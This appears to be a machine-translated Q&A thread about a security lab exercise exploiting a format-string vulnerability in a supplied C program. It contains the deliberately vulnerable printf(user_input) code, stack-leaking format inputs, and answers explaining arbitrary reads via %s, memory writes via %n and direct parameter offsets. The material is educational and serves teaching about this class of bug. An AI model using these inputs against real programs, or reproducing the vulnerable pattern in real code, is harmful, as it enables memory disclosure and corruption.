2013-04-17 17 views
9

sto lavorando su una vulnerabilità di laboratorio format-string, dove si sta per fornire il seguente codice:Accesso secondo elemento di un array in un attacco vulnerabilità format string

#define SECRET1 0x44 
#define SECRET2 0x55 

int main(int argc, char *argv[]) 
{ 
    char user_input[100]; 
    int *secret; 
    int int_input; 
    int a, b, c, d; /* other variables, not used here.*/ 

    /* The secret value is stored on the heap */ 
    secret = (int *) malloc(2*sizeof(int)); 

    /* getting the secret */ 
    secret[0] = SECRET1; 
    secret[1] = SECRET2; 

    printf("The variable secret's address is 0x%.8x (on stack)\n", &secret); 
    printf("The variable secret's value is 0x%.8x (on heap)\n", secret); 
    printf("secret[0]'s address is 0x%.8x (on heap)\n", &secret[0]); 
    printf("secret[1]'s address is 0x%.8x (on heap)\n", &secret[1]); 

    printf("Please enter a decimal integer\n"); 
    scanf("%d", &int_input); /* getting an input from user */ 
    printf("Please enter a string\n"); 
    scanf("%s", user_input); /* getting a string from user */ 

    /* vulnerable place */ 
    printf(user_input); 
    printf("\n"); 

    /* Verify whether your attack is successful */ 
    printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2); 
    printf("The new secrets:  0x%x -- 0x%x\n", secret[0], secret[1]); 
    return 0; 
    } 

Non dovremmo modificare il codice a tutti. Usando solo l'input, abbiamo 4 obiettivi: arrestare il programma, stampare il valore su secret [1], modificare il valore su secret [1] e modificare il valore su secret [1] su un valore predeterminato.

Esempio di output che ottengo è:

The variable secret's address is 0xbfffe7cc (on stack) 
The variable secret's value is -x0804a008 (on heap) 
secret[0]'s address is 0x0804a008 (on heap) 
secret[1]'s address is 0x0804a00c (on heap) 
Please enter a decimal integer 
65535 
Please enter a string 
%08x.%08x.%08x.%08x.%08x.%08x.%08x%08x. 
bfffe7d0.00000000.00000000.00000000.00000000.0000ffff.0804a008.78383025 

Quindi, inserendo 8 "% 08x" s, stampo l'indirizzo del segreto + 4, poi a stampare gli indirizzi di interi a, b, c, e d - ma dato che non ho mai dato loro un valore, non puntano da nessuna parte e mostrano solo gli 0. Di seguito è riportato il decimale che immetto, scelto in modo che il 'ffff' sia chiaramente visibile. Segue l'indirizzo di segreto [0], quindi arrivo ad altri valori memorizzati nel programma.

Se dovessi immettere AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x%08x., dopo il .0804a008 sarebbe .41414141, perché gli A della stringa di input sarebbero memorizzati lì.

È abbastanza facile arrestare il programma: abbastanza% s sull'input della stringa provoca un segfault. Ora ho bisogno di leggere il valore in segreto [1], però, e sono totalmente perso. Ho provato a provare a mettere l'indirizzo nello stack in qualche modo, mettendolo all'inizio della stringa in questo modo: \xd0\xe7\xff\xbf_%08x.%08x.%08x.%08x.%08x.%08x.%s, ma l'indirizzo non viene spinto ovunque e stampo solo il segreto [0] (che, per i curiosi, è 'D'). Ho provato tutti i tipi di indirizzo, ma dopo un po 'mi sono reso conto che stavo semplicemente memorizzandoli tutti come una stringa in cui quelli di A si sono presentati in precedenza. Non vengono convertiti in esagoni o altro.

Ho visto molte discussioni su questo codice su SA e in altri luoghi, ma devo ancora vedere qualcuno parlare di come si ottengono i valori in segreto [1].

Qualsiasi aiuto sarebbe molto apprezzato.

risposta

4

Per accedere al segreto [1], è necessario immetterlo come ingresso intero.

Please enter a decimal integer 
73740 
Please enter a string 
%08x.%08x.%08x.%08x.%08x.%08x.%s 
00008744.bead4ca4.bead4cc4.bead4dc4.00000001.000000a8.U 
+0

Sì, questo è quello che mi mancava. Mi sono sentito un idiota TOTAL dopo averlo scoperto. Grazie! – Max

3

Il trucco consiste nell'utilizzare l'identificatore %n nella stringa di formato specificata dall'utente. %n dice di prendere il numero di byte scritto finora e memorizzarli all'indirizzo indicato dall'argomento successivo. Quando non si forniscono argomenti sufficienti a printf, l'indirizzo in cui viene scritto è qualsiasi valore che si trova dopo nello stack. Se puoi sfruttare quell'indirizzo per essere quello che vuoi, allora puoi essenzialmente scrivere un intero di 4 byte in qualsiasi punto della memoria.

// Normal usage: count receives the value 14, since 14 bytes were written when 
// the %n was encountered 
int count; 
printf("Hello, world!\n%n", &count); 

// UNDEFINED BEHAVIOR: The value 14 will get written to some unknown location in 
// memory 
printf("Hello, world!\n%n"); 
+0

Questo è corretto, ma tu eri un po 'più avanti: stavo rovinando cercando semplicemente di trovare i valori che non erano in pila. Una volta che i valori sono disponibili, non sono troppo difficili da modificare. Mi mancava la risposta dolorosamente ovvia, che è forse il motivo per cui hai spiegato la parte più complicata (o almeno più interessante). – Max

1

È possibile specificare l'offset direttamente nella stringa di formato.

es.

$ printf "ADDRESS_IN_DECIMAL\n%%ADDRESS_OFFSET\$p_%%ADDRESS_OFFSET\$s\n" | ./vul_prog